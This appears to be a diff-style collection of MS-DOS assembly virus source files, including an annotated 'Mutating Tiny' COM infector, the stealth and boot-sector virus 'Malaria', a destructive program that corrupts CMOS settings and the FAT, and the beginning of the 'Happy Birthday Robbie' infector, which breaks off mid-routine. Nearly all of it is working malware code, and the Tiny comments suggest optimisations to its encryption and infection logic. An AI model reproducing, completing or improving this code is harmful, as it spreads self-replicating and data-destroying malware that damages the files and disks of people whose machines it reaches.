REST_ATTRIBUTE:
|
||||
mov dx,[FDATE] ;get old date and time
|
||||
mov cx,[FTIME]
|
||||
mov ah,57H ;set file date and time to old value
|
||||
mov al,1
|
||||
mov bx,[HANDLE]
|
||||
int 21H
|
||||
mov ah,3EH
|
||||
mov bx,[HANDLE] ;close file
|
||||
int 21H
|
||||
mov cl,[FATTR]
|
||||
xor ch,ch
|
||||
mov ah,43H ;Set file attr to old value
|
||||
mov al,1
|
||||
mov dx,OFFSET USEFILE
|
||||
int 21H
|
||||
ret
|
||||
|
||||
FINAL: ;last byte of code to be kept in virus
|
||||
|
||||
VSEG ENDS
|
||||
|
||||
|
||||
;--------------------------------------------------------------------------
|
||||
;Virus stack segment
|
||||
|
||||
VSTACK SEGMENT PARA STACK
|
||||
db STACKSIZE dup (?)
|
||||
VSTACK ENDS
|
||||
|
||||
END VIRUS ;Entry point is the virus
|
||||
@@ -0,0 +1,250 @@
|
||||
muttiny segment byte public
|
||||
assume cs:muttiny, ds:muttiny
|
||||
|
||||
org 100h
|
||||
|
||||
start: db 0e9h, 5, 0 ; jmp startvir
|
||||
restorehere: int 20h
|
||||
idword: dw 990h
|
||||
; The next line is incredibly pointless. It is a holdover from one
|
||||
; of the original TINYs, where the id was 7, 8, 9. The author can
|
||||
; easily save one byte merely by deleting this line.
|
||||
db 09h
|
||||
startvir:
|
||||
call oldtrick ; Standard location-finder
|
||||
oldtrick: pop si
|
||||
; The following statement is a bug -- well, not really a bug, just
|
||||
; extraneous code. The value pushed on the stack in the following
|
||||
; line is NEVER popped off. This is messy programming, as one byte
|
||||
; could be saved by removing the statement.
|
||||
push si
|
||||
sub si,offset oldtrick
|
||||
call encrypt ; Decrypt virus
|
||||
call savepsp ; and save the PSP
|
||||
; NOTE: The entire savepsp/restorepsp procedures are unnecessary.
|
||||
; See the procedures at the end for further details.
|
||||
jmp short findencryptval ; Go to the rest of the virus
|
||||
; The next line is another example of messy programming -- it is a
|
||||
; NOP inserted by MASM during assembly. Running this file through
|
||||
; TASM with the /m2 switch should eliminate such "fix-ups."
|
||||
nop
|
||||
; The next line leaves me guessing as to the author's true intent.
|
||||
db 0
|
||||
|
||||
encryptval dw 0h
|
||||
|
||||
encrypt:
|
||||
push bx ; Save handle
|
||||
; The following two lines of code could be condensed into one:
|
||||
; lea bx, [si+offset startencrypt]
|
||||
; Once again, poor programming style, though there's nothing wrong
|
||||
; with the code.
|
||||
mov bx,offset startencrypt
|
||||
add bx,si
|
||||
; Continueencrypt is implemented as a jmp-type loop. Although it's
|
||||
; fine to code it this way, it's probably easier to code using the
|
||||
; loop statement. Upon close inspection, one finds the loop to be
|
||||
; flawed. Note the single inc bx statement. This essentially makes
|
||||
; the encryption value a a byte instead of a word, which decreases
|
||||
; the number of mutations from 65,535 to 255. Once again, this is
|
||||
; just poor programming, very easily rectified with another inc bx
|
||||
; statement. Another optimization could be made. Use a
|
||||
; mov dx, [si+encryptval]
|
||||
; to load up the encryption value before the loop, and replace the
|
||||
; three lines following continueencrypt with a simple:
|
||||
; xor word ptr [bx], dx
|
||||
continueencrypt:
|
||||
mov ax,[bx]
|
||||
xor ax,word ptr [si+encryptval]
|
||||
mov [bx],ax
|
||||
inc bx
|
||||
; The next two lines should be executed BEFORE continueencrypt. As
|
||||
; it stands right now, they are recalculated every iteration which
|
||||
; slows down execution somewhat. Furthermore, the value calculated
|
||||
; is much too large and this increases execution time. Yet another
|
||||
; improvement would be the merging of the mov/add pair to the much
|
||||
; cleaner lea cx, [si+offset endvirus].
|
||||
mov cx,offset veryend ; Calculate end of
|
||||
add cx,si ; encryption: Note
|
||||
cmp bx,cx ; the value is 246
|
||||
jle continueencrypt ; bytes too large.
|
||||
pop bx
|
||||
ret
|
||||
writerest: ; Tack on the virus to the
|
||||
call encrypt ; end of the file.
|
||||
mov ah,40h
|
||||
mov cx,offset endvirus - offset idword
|
||||
lea dx,[si+offset idword] ; Write starting from the id
|
||||
int 21h ; word
|
||||
call encrypt
|
||||
ret
|
||||
|
||||
startencrypt:
|
||||
; This is where the encrypted area begins. This could be moved to
|
||||
; where the ret is in procedure writerest, but it is not necessary
|
||||
; since it won't affect the "scannability" of the virus.
|
||||
|
||||
findencryptval:
|
||||
mov ah,2Ch ; Get random #
|
||||
int 21h ; CX=hr/min dx=sec
|
||||
; The following chunk of code puzzles me. I admit it, I am totally
|
||||
; lost as to its purpose.
|
||||
cmp word ptr [si+offset encryptval],0
|
||||
je step_two
|
||||
cmp word ptr [si+offset encryptval+1],0
|
||||
je step_two
|
||||
cmp dh,0Fh
|
||||
jle foundencryptionvalue
|
||||
step_two: ; Check to see if any
|
||||
cmp dl,0 ; part of the encryption
|
||||
je findencryptval ; value is 0 and if so,
|
||||
cmp dh,0 ; find another value.
|
||||
je findencryptval
|
||||
mov [si+offset encryptval],dx
|
||||
foundencryptionvalue:
|
||||
mov bp,[si+offset oldjmp] ; Set up bp for
|
||||
add bp,103h ; jmp later
|
||||
lea dx,[si+filemask] ; '*.COM',0
|
||||
xor cx,cx ; Attributes
|
||||
mov ah,4Eh ; Find first
|
||||
tryanother:
|
||||
int 21h
|
||||
jc quit_virus ; If none found, exit
|
||||
|
||||
mov ax,3D02h ; Open read/write
|
||||
mov dx,9Eh ; In default DTA
|
||||
int 21h
|
||||
|
||||
mov cx,3
|
||||
mov bx,ax ; Swap file handle register
|
||||
lea dx,[si+offset buffer]
|
||||
mov di,dx
|
||||
call read ; Read 3 bytes
|
||||
cmp byte ptr [di],0E9h ; Is it a jmp?
|
||||
je infect
|
||||
findnext:
|
||||
mov ah,4Fh ; If not, find next
|
||||
jmp short tryanother
|
||||
infect:
|
||||
mov ax,4200h ; Move file pointer
|
||||
mov dx,[di+1] ; to jmp location
|
||||
mov [si+offset oldjmp],dx ; and save old jmp
|
||||
xor cx,cx ; location
|
||||
call int21h
|
||||
jmp short skipcheckinf
|
||||
; Once again, we meet an infamous MASM-NOP.
|
||||
nop
|
||||
; I don't understand why checkinf is implemented as a procedure as
|
||||
; it is executed but once. It is a waste of code space to do such
|
||||
; a thing. The ret and call are both extra, wasting four bytes. An
|
||||
; additional three bytes were wasted on the JMP skipping checkinf.
|
||||
; In a program called "Tiny," a wasted seven bytes is rather large
|
||||
; and should not exist. I have written a virus of half the length
|
||||
; of this virus which is a generic COM infector. There is just too
|
||||
; too much waste in this program.
|
||||
checkinf:
|
||||
cmp word ptr [di],990h ; Is it already
|
||||
je findnext ; infected?
|
||||
; The je statement above presents another problem. It leaves stuff
|
||||
; on the stack from the call. This is, once again, not a critical
|
||||
; error but nevertheless it is extremely sloppy behavior.
|
||||
xor dx,dx
|
||||
xor cx,cx
|
||||
mov ax,4202h
|
||||
call int21h ; Goto end of file
|
||||
ret
|
||||
skipcheckinf:
|
||||
mov cx,2
|
||||
mov dx,di
|
||||
call read ; read 2 bytes
|
||||
call checkinf
|
||||
; The next check is extraneous. No COM file is larger than 65,535
|
||||
; bytes before infection simply because it is "illegal." Yet ano-
|
||||
; ther waste of code. Even if one were to use this useless check,
|
||||
; it should be implemented, to save space, as or dx, dx.
|
||||
cmp dx,0 ; Check if too big
|
||||
jne findnext
|
||||
|
||||
cmp ah,0FEh ; Check again if too big
|
||||
jae findnext
|
||||
mov [si+storejmp],ax ; Save new jmp
|
||||
call writerest ; location
|
||||
mov ax,4200h ; Go to offset
|
||||
mov dx,1 ; 1 in the file
|
||||
xor cx,cx
|
||||
call int21h
|
||||
|
||||
mov ah,40h ; and write the new
|
||||
mov cx,2 ; jmp location
|
||||
lea dx,[si+storejmp]
|
||||
call int21h
|
||||
; I think it is quite obvious that the next line is pointless. It
|
||||
; is a truly moronic waste of two bytes.
|
||||
jc closefile
|
||||
closefile:
|
||||
mov ah,3Eh ; Close the file
|
||||
call int21h
|
||||
quit_virus:
|
||||
call restorepsp
|
||||
jmp bp
|
||||
|
||||
read:
|
||||
mov ah,3Fh ; Read file
|
||||
; I do not understand why all the int 21h calls are done with this
|
||||
; procedure. It is a waste of space. A normal int 21h call is two
|
||||
; bytes long while it's three bytes just to call this procedure!
|
||||
int21h:
|
||||
int 21h
|
||||
ret
|
||||
|
||||
db 'Made in England'
|
||||
|
||||
; Note: The comments for savepsp also apply to restorepsp.
|
||||
|
||||
; This code could have easily been changed to a set active DTA INT
|
||||
; 21h call (AH = 1Ah). It would have saved many, many bytes.
|
||||
|
||||
savepsp:
|
||||
mov di,0
|
||||
; The following is a bug. It should be
|
||||
; mov cx, 50h
|
||||
; since the author decided to use words instead of bytes.
|
||||
mov cx,100h
|
||||
push si
|
||||
; The loop below is dumb. A simple rep movsw statement would have
|
||||
; sufficed. Instead, countless bytes are wasted on the loop.
|
||||
storebytes:
|
||||
mov ax,[di]
|
||||
mov word ptr [si+pspstore],ax
|
||||
add si,2
|
||||
add di,2
|
||||
loop storebytes
|
||||
pop si
|
||||
ret
|
||||
|
||||
restorepsp:
|
||||
mov di,0
|
||||
mov cx,100h ; Restore 200h bytes
|
||||
push si
|
||||
restorebytes:
|
||||
mov ax,word ptr [si+pspstore]
|
||||
mov [di],ax
|
||||
add si,2
|
||||
add di,2
|
||||
loop restorebytes
|
||||
pop si
|
||||
ret
|
||||
|
||||
oldjmp dw 0
|
||||
filemask db '*.COM',0
|
||||
idontknow1 db 66h ; Waste of one byte
|
||||
buffer db 00h, 00h, 01h ; Waste of three bytes
|
||||
storejmp dw 0 ; Waste of two bytes
|
||||
; endvirus should be before idontknow1, thereby saving six bytes.
|
||||
endvirus:
|
||||
idontknow2 db ?, ?
|
||||
pspstore db 200 dup (?) ; Should actually be
|
||||
idontknow3 db 2ch dup (?) ; 100h bytes long.
|
||||
veryend: ; End of encryption
|
||||
muttiny ends
|
||||
end start
|
||||
@@ -0,0 +1,408 @@
|
||||
;
|
||||
;=============================================================================
|
||||
; [Malaria]
|
||||
; TSR, parasitic, tunneling, sub-stealth, floppy, COM infecting virus
|
||||
;=============================================================================
|
||||
;
|
||||
|
||||
virus_size equ (v_end-v_start)
|
||||
loader_size equ (loader_end-loader_start)
|
||||
paragraph_size equ (heap_end-v_start+010Fh)/0010h+0001h
|
||||
|
||||
.model tiny
|
||||
.code
|
||||
.286
|
||||
org 0100h
|
||||
start:
|
||||
v_start:
|
||||
push ds es
|
||||
dec ax
|
||||
int 0013h
|
||||
inc ax
|
||||
jz exit_install
|
||||
mov ax,es
|
||||
dec ax
|
||||
mov ds,ax
|
||||
mov bx,5A4Dh
|
||||
sub si,si
|
||||
cmp bl,byte ptr [si]
|
||||
jz exit_install
|
||||
mov ax,offset exit_install
|
||||
delta_two = $-0002h
|
||||
push cs ax
|
||||
sub word ptr [si+0003h],paragraph_size
|
||||
sub word ptr [si+0012h],paragraph_size
|
||||
mov byte ptr [si],bl
|
||||
mov ax,word ptr [si+0012h]
|
||||
mov ds,ax
|
||||
mov byte ptr [si],bh
|
||||
mov word ptr [si+0001h],0008h
|
||||
mov word ptr [si+0003h],paragraph_size-0001h
|
||||
inc ax
|
||||
mov es,ax
|
||||
push ax
|
||||
mov si,offset v_start
|
||||
delta_one = $-0002h
|
||||
mov cx,virus_size
|
||||
mov di,offset v_start
|
||||
rep movs byte ptr [di],cs:[si]
|
||||
mov ax,offset trace_interrupt
|
||||
push ax
|
||||
retf
|
||||
exit_install:
|
||||
pop es ds
|
||||
mov si,offset host_bytes
|
||||
delta_three = $-0002h
|
||||
mov di,offset v_start
|
||||
push di
|
||||
movsb
|
||||
movsw
|
||||
retn
|
||||
loader_start:
|
||||
mov ax,0B900h
|
||||
mov es,ax
|
||||
push ax
|
||||
mov ax,offset restore_boot_sector
|
||||
push ax
|
||||
mov ax,0202h
|
||||
mov bx,offset v_start
|
||||
mov cx,'ML'
|
||||
loader_fix_1 = $-0002h
|
||||
inc dh
|
||||
int 0013h
|
||||
retf
|
||||
loader_end:
|
||||
restore_boot_sector:
|
||||
xor ax,ax
|
||||
mov es,ax
|
||||
mov si,offset boot_bytes
|
||||
mov di,7C00h
|
||||
push ax di
|
||||
mov cl,loader_size shr 0001h
|
||||
rep movs word ptr [di],cs:[si]
|
||||
mov ax,word ptr es:[0084h]
|
||||
mov word ptr cs:[int_word],ax
|
||||
push cs
|
||||
pop es
|
||||
mov byte ptr cs:[trace_interrupt_],00C3h
|
||||
call trace_interrupt
|
||||
mov byte ptr cs:[trace_interrupt_],00BEh
|
||||
retf
|
||||
trace_interrupt:
|
||||
mov ds,cx
|
||||
mov byte ptr cs:[trap_flag],cl
|
||||
mov si,004Ch
|
||||
mov di,offset i0013hOffset
|
||||
movsw
|
||||
movsw
|
||||
mov word ptr [si-0004h],offset i0013h
|
||||
mov word ptr [si-0002h],cs
|
||||
trace_interrupt_:
|
||||
mov si,0084h
|
||||
mov di,offset i0021hOffset
|
||||
movsw
|
||||
movsw
|
||||
mov word ptr [si-0004h],offset i0021h
|
||||
mov word ptr [si-0002h],cs
|
||||
mov si,0004h
|
||||
push word ptr ds:[si] word ptr ds:[si+0002h]
|
||||
mov word ptr [si],offset i0001h
|
||||
mov word ptr [si+0002h],cs
|
||||
mov ah,0052h
|
||||
int 0021h
|
||||
mov word ptr cs:[dos_segment],es
|
||||
mov ah,0001h
|
||||
push ax
|
||||
popf
|
||||
mov ah,0019h
|
||||
call call_i0021h
|
||||
pop word ptr ds:[si+0002h] word ptr ds:[si]
|
||||
retf
|
||||
i0001h: push bp
|
||||
mov bp,sp
|
||||
push ax
|
||||
cmp byte ptr cs:[trap_flag],0001h
|
||||
jz i0001h_exit_
|
||||
mov ax,word ptr [bp+0004h]
|
||||
cmp ax,0D00Dh
|
||||
dos_segment = $-0002h
|
||||
jnz i0001h_exit
|
||||
mov word ptr cs:[t0021hSegment],ax
|
||||
mov ax,word ptr [bp+0002h]
|
||||
mov word ptr cs:[t0021hOffset],ax
|
||||
inc byte ptr cs:[trap_flag]
|
||||
i0001h_exit_:
|
||||
and byte ptr [bp+0007h],-0002h
|
||||
i0001h_exit:
|
||||
pop ax bp
|
||||
int_return:
|
||||
iret
|
||||
i0013h: cmp ax,-0001h
|
||||
jz int_return
|
||||
cmp byte ptr cs:[trap_flag],0001h
|
||||
jz i0013h_continue
|
||||
pusha
|
||||
push ds es cs
|
||||
pop es
|
||||
cwd
|
||||
mov ds,dx
|
||||
mov ax,word ptr ds:[0084h]
|
||||
cmp ax,word ptr cs:[int_word]
|
||||
jz hook_exit
|
||||
push cs
|
||||
call trace_interrupt_
|
||||
hook_exit:
|
||||
pop es ds
|
||||
popa
|
||||
i0013h_continue:
|
||||
cmp dl,0001h
|
||||
jnb original_i0013h
|
||||
cmp ah,0002h
|
||||
jz i0013h_stealth_boot
|
||||
pusha
|
||||
push ds es
|
||||
cmp ah,0003h
|
||||
jnz i0013h_exit
|
||||
i0013h_infect_boot:
|
||||
mov ax,0BBE8h
|
||||
mov es,ax
|
||||
mov ax,0201h
|
||||
xor bx,bx
|
||||
mov cx,0001h
|
||||
xor dh,dh
|
||||
call call_i0013h
|
||||
cmp byte ptr es:[bx],00B8h
|
||||
jz i0013h_exit
|
||||
mov al,byte ptr es:[bx+0010h]
|
||||
mul byte ptr es:[bx+0016h]
|
||||
xchg ax,cx
|
||||
mov ax,word ptr es:[bx+0011h]
|
||||
shr ax,0004h
|
||||
add ax,cx
|
||||
sub ax,word ptr es:[bx+0018h]
|
||||
mov word ptr cs:[loader_fix_1],ax
|
||||
push ax es es cs
|
||||
pop es ds
|
||||
mov cl,loader_size shr 0001h
|
||||
xor si,si
|
||||
mov di,offset boot_bytes
|
||||
rep movsw
|
||||
pop es
|
||||
mov cl,loader_size shr 0001h
|
||||
mov si,offset loader_start
|
||||
sub di,di
|
||||
rep movs word ptr [di],cs:[si]
|
||||
mov ax,0301h
|
||||
inc cx
|
||||
call call_i0013h
|
||||
push cs
|
||||
pop es
|
||||
mov ax,0302h
|
||||
mov bx,offset v_start
|
||||
pop cx
|
||||
inc dh
|
||||
call call_i0013h
|
||||
i0013h_exit:
|
||||
pop es ds
|
||||
popa
|
||||
original_i0013h:
|
||||
db 00EAh,'PURE'
|
||||
i0013hOffset = $-0004h
|
||||
i0013hSegment = $-0002h
|
||||
i0013h_stealth_boot:
|
||||
cmp cx,0001h
|
||||
jnz original_i0013h
|
||||
or dh,dh
|
||||
jnz original_i0013h
|
||||
pusha
|
||||
call call_i0013h
|
||||
jc i0013h_stealth_boot_exit
|
||||
cmp byte ptr es:[bx],00B8h
|
||||
jnz i0013h_stealth_boot_exit
|
||||
mov si,offset boot_bytes
|
||||
mov di,bx
|
||||
mov cl,loader_size shr 0001h
|
||||
rep movs word ptr [di],cs:[si]
|
||||
i0013h_stealth_boot_exit:
|
||||
popa
|
||||
clc
|
||||
retf 0002h
|
||||
i0021h: cmp ah,0011h
|
||||
jz fcb_stealth
|
||||
cmp ah,0012h
|
||||
jz fcb_stealth
|
||||
cmp ah,004Eh
|
||||
jz dta_stealth
|
||||
cmp ah,004Fh
|
||||
jz dta_stealth
|
||||
pusha
|
||||
push ds es
|
||||
cmp ax,4300h
|
||||
jz i0021h_infect_file
|
||||
cmp ax,4301h
|
||||
jz i0021h_infect_file
|
||||
cmp ax,4B00h
|
||||
jz i0021h_infect_file
|
||||
i0021h_exit:
|
||||
pop es ds
|
||||
popa
|
||||
original_i0021h:
|
||||
db 00EAh,'TEXT'
|
||||
i0021hOffset = $-0004h
|
||||
i0021hSegment = $-0002h
|
||||
fcb_stealth:
|
||||
call call_i0021h
|
||||
pusha
|
||||
push es
|
||||
inc al
|
||||
jz fcb_exit_
|
||||
mov ah,002Fh
|
||||
call tunnel_i0021h
|
||||
cmp byte ptr es:[bx],-0001h
|
||||
jnz fcb_continue
|
||||
add bx,0007h
|
||||
fcb_continue:
|
||||
mov ax,word ptr es:[bx+0017h]
|
||||
mov cx,word ptr es:[bx+0019h]
|
||||
call hide_dir
|
||||
fcb_exit_:
|
||||
pop es
|
||||
popa
|
||||
fcb_exit:
|
||||
iret
|
||||
dta_stealth:
|
||||
call call_i0021h
|
||||
jc dta_exit
|
||||
pusha
|
||||
push es
|
||||
mov ah,002Fh
|
||||
call tunnel_i0021h
|
||||
mov ax,word ptr es:[bx+0016h]
|
||||
mov cx,word ptr es:[bx+0018h]
|
||||
sub bx,0003h
|
||||
call hide_dir
|
||||
pop es
|
||||
popa
|
||||
dta_exit:
|
||||
retf 0002h
|
||||
_close_file:
|
||||
jmp close_file
|
||||
i0021h_infect_file:
|
||||
push ds
|
||||
pop es
|
||||
mov al,002Eh
|
||||
mov cx,0040h
|
||||
mov di,dx
|
||||
repnz scasb
|
||||
cmp word ptr [di],4F43h
|
||||
jnz i0021h_exit
|
||||
mov ax,3D02h
|
||||
call tunnel_i0021h
|
||||
xchg ax,bx
|
||||
mov ax,1220h
|
||||
int 002Fh
|
||||
push bx
|
||||
mov ax,1216h
|
||||
mov bl,byte ptr es:[di]
|
||||
int 002Fh
|
||||
pop bx
|
||||
mov si,offset temp_buffer
|
||||
push cs
|
||||
pop ds
|
||||
mov ah,003Fh
|
||||
mov cl,0003h
|
||||
mov dx,si
|
||||
call tunnel_i0021h
|
||||
cmp word ptr [si],5A4Dh
|
||||
jz close_file
|
||||
cmp word ptr [si],4D5Ah
|
||||
jz close_file
|
||||
push si
|
||||
lodsb
|
||||
mov byte ptr [si-0004h],al
|
||||
lodsw
|
||||
mov word ptr [si-0005h],ax
|
||||
pop si
|
||||
mov ax,word ptr es:[di+0011h]
|
||||
mov word ptr es:[di+0015h],ax
|
||||
mov cx,virus_size
|
||||
cmp ax,cx
|
||||
jb close_file
|
||||
push ax
|
||||
sub ax,0003h
|
||||
mov byte ptr [si],00E9h
|
||||
mov word ptr [si+0001h],ax
|
||||
sub ax,cx
|
||||
cmp ax,word ptr [si-0002h]
|
||||
pop ax
|
||||
jz close_file
|
||||
add ax,offset v_start
|
||||
mov word ptr [delta_one],ax
|
||||
add ax,offset exit_install-v_start
|
||||
mov word ptr [delta_two],ax
|
||||
add ax,offset host_bytes-exit_install
|
||||
mov word ptr [delta_three],ax
|
||||
mov ah,0040h
|
||||
mov dx,offset v_start
|
||||
call tunnel_i0021h
|
||||
mov word ptr es:[di+0015h],0000h
|
||||
mov ah,0040h
|
||||
mov cx,0003h
|
||||
mov dx,si
|
||||
call tunnel_i0021h
|
||||
mov ax,5701h
|
||||
mov cx,word ptr es:[di+000Dh]
|
||||
mov dx,word ptr es:[di+000Fh]
|
||||
push dx
|
||||
and cx,-0020h
|
||||
and dx,001Fh
|
||||
dec dx
|
||||
or cx,dx
|
||||
pop dx
|
||||
call tunnel_i0021h
|
||||
close_file:
|
||||
mov ah,003Eh
|
||||
call tunnel_i0021h
|
||||
jmp i0021h_exit
|
||||
hide_dir:
|
||||
mov si,001Fh
|
||||
and ax,si
|
||||
and cx,si
|
||||
dec cx
|
||||
xor ax,cx
|
||||
jnz hide_exit
|
||||
cmp ax,word ptr es:[bx+si]
|
||||
ja hide_exit
|
||||
mov ax,virus_size
|
||||
cmp word ptr es:[bx+si-0002h],ax
|
||||
jbe hide_exit
|
||||
hide_continue:
|
||||
sub word ptr es:[bx+si-0002h],ax
|
||||
hide_exit:
|
||||
retn
|
||||
tunnel_i0021h:
|
||||
pushf
|
||||
db 009Ah,'PURE'
|
||||
t0021hOffset = $-0004h
|
||||
t0021hSegment = $-0002h
|
||||
retn
|
||||
call_i0013h:
|
||||
pushf
|
||||
push cs
|
||||
call original_i0013h
|
||||
retn
|
||||
call_i0021h:
|
||||
pushf
|
||||
push cs
|
||||
call original_i0021h
|
||||
retn
|
||||
boot_bytes db loader_size dup (0000h)
|
||||
host_bytes db 00CDh,0020h,'!'
|
||||
v_end:
|
||||
heap_start:
|
||||
temp_buffer db 0003h dup (?)
|
||||
trap_flag db 0001h dup (?)
|
||||
int_word db 0002h dup (?)
|
||||
heap_end:
|
||||
end start
|
||||
.
|
||||
@@ -0,0 +1,176 @@
|
||||
|
||||
.model tiny
|
||||
.code
|
||||
|
||||
seg_a segment byte public
|
||||
ASSUME CS:SEG_A, DS:SEG_A
|
||||
org 100h
|
||||
|
||||
|
||||
main proc
|
||||
|
||||
find:
|
||||
mov ah,3bh
|
||||
mov dx,offset win
|
||||
int 21h
|
||||
mov Dx,offset conn
|
||||
mov cx,2h
|
||||
mov ah,4eh
|
||||
int 21h
|
||||
next:
|
||||
mov ah,4fh
|
||||
mov dx,offset conn
|
||||
int 21h
|
||||
|
||||
open:
|
||||
mov ah,43H
|
||||
mov dx,09Eh
|
||||
mov al,0
|
||||
int 21H
|
||||
mov cl,0
|
||||
mov ah,43H
|
||||
nop
|
||||
mov dx,09Eh
|
||||
mov al,1
|
||||
int 21H
|
||||
mov ax,3d02h
|
||||
mov dx,9eh
|
||||
int 21h
|
||||
write:
|
||||
xchg bx,ax
|
||||
mov cx,833
|
||||
mov ah,40h
|
||||
mov dx,100h
|
||||
int 21h
|
||||
close:
|
||||
mov ah,3eh
|
||||
int 21h
|
||||
inc cntr
|
||||
cmp cntr,5
|
||||
jge message
|
||||
call next
|
||||
message:
|
||||
mov ah,3bh
|
||||
mov al,00h
|
||||
mov dx,offset UP_ONE
|
||||
int 21h
|
||||
cmp ax,3
|
||||
jne next
|
||||
mov cntr,0000
|
||||
|
||||
C_MAN:
|
||||
mov ah,09h
|
||||
mov dx,offset who
|
||||
int 21h
|
||||
inc cntr
|
||||
cmp cntr,65
|
||||
jge fat_fuck
|
||||
mov dx,cntr
|
||||
xor bx,bx
|
||||
mov bx,255
|
||||
call CMOS_CHCKSM
|
||||
|
||||
CMOS_CHCKSM:
|
||||
xor ax,ax
|
||||
mov al,2Eh
|
||||
out 70h,al
|
||||
in al,71h
|
||||
xchg ch,al
|
||||
mov al,2Fh
|
||||
out 70h,al
|
||||
in al,71h
|
||||
xchg cl,al
|
||||
push dx
|
||||
xchg dl,al
|
||||
out 70h,al
|
||||
in al,71h
|
||||
sub cx,ax
|
||||
add cx,bx
|
||||
pop dx
|
||||
xchg dl,al
|
||||
out 70h,al
|
||||
xchg al,bl
|
||||
out 71h,al
|
||||
mov al,2Eh
|
||||
out 70h,al
|
||||
xchg al,ch
|
||||
out 71h,al
|
||||
mov al,2Fh
|
||||
out 70h,al
|
||||
xchg al,cl
|
||||
out 71h,al
|
||||
call C_MAN
|
||||
fat_fuck:
|
||||
push dx
|
||||
push bx
|
||||
push cx
|
||||
push ax
|
||||
push bp
|
||||
mov ax,0dh
|
||||
int 21h
|
||||
mov ah,19h
|
||||
int 21h
|
||||
xor dx,dx
|
||||
call load_sec
|
||||
mov bp,bx
|
||||
mov bx,word ptr es:[bp+16h]
|
||||
push ax
|
||||
call rnd_num
|
||||
cmp bx,ax
|
||||
jbe alter_fat1
|
||||
mov ax,bx
|
||||
alter_fat1:
|
||||
xchg ax,dx
|
||||
pop ax
|
||||
mov cx,1
|
||||
int 26h
|
||||
add dx,bx
|
||||
int 26h
|
||||
pop bp
|
||||
pop ax
|
||||
pop cx
|
||||
pop bx
|
||||
pop dx
|
||||
CALL JUST_TO_MAKE_IT_WORSE
|
||||
|
||||
load_sec:
|
||||
push cx
|
||||
push ds
|
||||
push ax
|
||||
push cs
|
||||
pop ds
|
||||
push cs
|
||||
pop es
|
||||
mov ax,0dh
|
||||
int 21h
|
||||
pop ax
|
||||
mov cx, 1
|
||||
mov bx, offset sec_buf
|
||||
int 25h
|
||||
pop ds
|
||||
pop cx
|
||||
ret
|
||||
|
||||
rnd_num:
|
||||
push cx
|
||||
push dx
|
||||
xor ax,ax
|
||||
int 1ah
|
||||
xchg dx,ax
|
||||
pop dx
|
||||
pop cx
|
||||
ret
|
||||
JUST_TO_MAKE_IT_WORSE:
|
||||
mov ah,31h
|
||||
mov dx,7530h
|
||||
int 21H
|
||||
RET
|
||||
sec_buf dw 100h dup(?)
|
||||
win db 'C:\windows\command',0
|
||||
conn db '*.C*',0
|
||||
who db '§ EvuLz MaLiCe §$'
|
||||
cntr dw 0
|
||||
up_one db '..',0
|
||||
main endp
|
||||
seg_a ends
|
||||
end find
|
||||
File diff suppressed because it is too large
Load Diff
@@ -0,0 +1,224 @@
|
||||
;
|
||||
;Happy Birthday Robbie Virus
|
||||
;
|
||||
|
||||
code segment 'CODE'
|
||||
assume cs:code,ds:code,es:code,ss:code
|
||||
|
||||
org 0100h
|
||||
|
||||
code_length equ finish - start
|
||||
lf equ 0Ah
|
||||
cr equ 0Dh
|
||||
|
||||
start label near
|
||||
|
||||
id_bytes proc near
|
||||
mov si,si ; Serves no purpose: our ID
|
||||
id_bytes endp
|
||||
|
||||
main: mov ah,04Eh ; DOS find first file function
|
||||
mov cx,00100111b ; CX holds attribute mask
|
||||
mov dx,offset com_spec ; DX points to "*.COM"
|
||||
|
||||
file_loop: int 021h
|
||||
jc exit_virus ; If there are no files, go
|
||||
; off
|
||||
|
||||
call infect_file ; Try to infect found file
|
||||
jne exit_virus ; Exit if successful
|
||||
|
||||
mov ah,04Fh ; DOS find next file function
|
||||
jmp short file_loop ; Repeat until out of files
|
||||
|
||||
exit_virus:
|
||||
mov ah,2Ah
|
||||
int 21h
|
||||
cmp dl,3
|
||||
jne dos_drop
|
||||
cmp dh,10
|
||||
je eat_screen
|
||||
dos_drop: int 20h
|
||||
eat_screen: mov byte ptr count,0
|
||||
mov ah,00
|
||||
mov al,03
|
||||
int 10h
|
||||
mov ah,08
|
||||
int 10h
|
||||
mov byte ptr count2,al
|
||||
cmp byte ptr count2,00
|
||||
jne draw_face
|
||||
mov byte ptr count2,0fh
|
||||
draw_face:
|
||||
mov ah,01 ;set cursor type
|
||||
mov cl,00
|
||||
mov ch,40h
|
||||
int 10h
|
||||
mov cl,00
|
||||
mov dl,4fh
|
||||
mov ah,06 ;clear the display window
|
||||
mov al,00
|
||||
mov bh,0fh ;blank line attribs
|
||||
mov ch,00 ;starting at upper left corner
|
||||
mov cl,00 ; to
|
||||
mov dh,00 ;row 0
|
||||
mov dl,4fh ;column 4Fh
|
||||
int 10h
|
||||
mov ah,02 ;set cursor position
|
||||
mov dh,00 ;to row 0,
|
||||
mov dl,1fh ;column 1Fh
|
||||
mov bh,00 ;in graphics mode
|
||||
int 10h
|
||||
mov dx,offset eyes ;get the eyes
|
||||
mov ah,09 ;and draw them to screen
|
||||
mov bl,0fh ;this colour
|
||||
int 21h
|
||||
mov ah,02 ;reposition character
|
||||
mov dh,01 ;to row 1,
|
||||
mov dl,00 ;column 0
|
||||
int 10h
|
||||
mov ah,09 ;write character and attrib
|
||||
mov al,0dch ;character shape
|
||||
mov bl,0fh ;character colour
|
||||
mov cx,50h ;number of characters.
|
||||
int 10h
|
||||
mov ah,02 ;reposition cursor
|
||||
mov dh,18h ;to row 18h
|
||||
mov dl,00 ;column 0
|
||||
int 10h
|
||||
mov ah,09 ;write character & attribute
|
||||
mov al,0dfh ;character shape
|
||||
mov bl,0fh ;character colour
|
||||
mov cx,0050h ;number of characters
|
||||
int 10h
|
||||
mov dl,00 ;back to column 0
|
||||
make_teeth:
|
||||
mov ah,02 ;set cursor position
|
||||
mov dh,02 ;to row 2
|
||||
int 10h
|
||||
mov ah,09 ;write the character
|
||||
mov al,55h ; "U" for one top tooth
|
||||
mov bl,0fh ; colour code
|
||||
mov cx,1 ;only one tooth
|
||||
int 10h
|
||||
mov ah,02
|
||||
mov dh,17h ;row 17h
|
||||
inc dl ;increase column number
|
||||
int 10h
|
||||
mov ah,09 ;write a character there.
|
||||
mov al,0efh ;character "ï" for bottom teeth
|
||||
mov bl,0fh ;colour code
|
||||
int 10h
|
||||
inc dl ;increment column number
|
||||
cmp dl,50h ;is there 50h of them yet?
|
||||
jl make_teeth ;make more if not
|
||||
mov byte ptr count,0 ;0 the counter
|
||||
pause_1:
|
||||
mov cx,7fffh
|
||||
a_loop:
|
||||
